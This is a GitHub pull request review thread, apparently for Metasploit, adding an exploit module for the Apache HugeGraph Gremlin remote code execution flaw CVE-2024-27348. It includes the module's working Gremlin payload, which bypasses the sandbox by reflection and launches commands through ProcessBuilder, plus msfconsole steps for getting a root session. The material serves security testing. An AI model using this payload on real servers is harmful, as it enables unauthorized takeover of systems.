-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Apache HugeGraph Gremlin RCE (CVE-2024-27348) #19348
Apache HugeGraph Gremlin RCE (CVE-2024-27348) #19348
Conversation
'Privileged' => true, | ||
'Arch' => [ ARCH_CMD ], | ||
'Targets' => [ | ||
[ 'Automatic Target', {}] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was thinking if is possible and make sense to have also a Java Meterpreter target?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It's likely possible to have a Java Meterpreter target. If Apache HugeGraph was able to be installed on Windows I probably would have focused on a Java target which could have satisfied both Linux and Windows installations. Since it cannot be installed on Windows I decided to focus just on the ARCH_CMD
for Linux based systems.
I think because the ARCH_CMD
is able to deliver a Meterpreter session I'll leave it as is however if you or anyone else feels like it would be beneficial to add a ARCH_JAVA
target I'd be happy to investigate further.
Got a
|
## Verification Steps | ||
|
||
1. Start msfconsole | ||
1. Do: `use exploit/multi/http/apache_hugegraph_gremlin_rce` |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
### Apache HugeGraph 1.0.0 docker instance | ||
``` | ||
|
||
msf6 exploit(multi/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the module path does need updated, just adding a reminder to update this section as well.
if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0')) | ||
CheckCode::Appears("Apache HugeGraph version detected: #{version}") | ||
else | ||
CheckCode::Safe("Apache HugeGraph version detected: #{version}") | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0')) | |
CheckCode::Appears("Apache HugeGraph version detected: #{version}") | |
else | |
CheckCode::Safe("Apache HugeGraph version detected: #{version}") | |
end | |
if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0')) | |
CheckCode::Appears("Apache HugeGraph version detected: #{version}") | |
end | |
CheckCode::Safe("Apache HugeGraph version detected: #{version}") | |
data = { | ||
'gremlin' => "Thread #{thread_name} = Thread.currentThread();Class #{class_name} = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");#{field_name}.setAccessible(true);#{field_name}.set(#{thread_name}, \"#{thread_name}\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);java.util.List #{command_name} = java.util.Arrays.asList(#{formatted_command});Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");#{start_method_name}.invoke(#{process_builder_name});", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think it would be nice to have the payload properly formatted, then join
'ed in a single line before sending it.
@msjenkins-r7 test this please |
Release NotesAdds an Apache HugeGraph Server exploit for GHSA-29rc-vq7f-x335, which is a Remote Code Execution (RCE) vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve RCE through Gremlin, resulting in complete control over the server. |
This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve RCE through Gremlin, resulting in complete control over the server.
Vulnerable Target Setup
Verification
List the steps needed to make sure this thing works
msfconsole
use linux/http/apache_hugegraph_gremlin_rce
RHOST
andLHOST
optionsroot
user.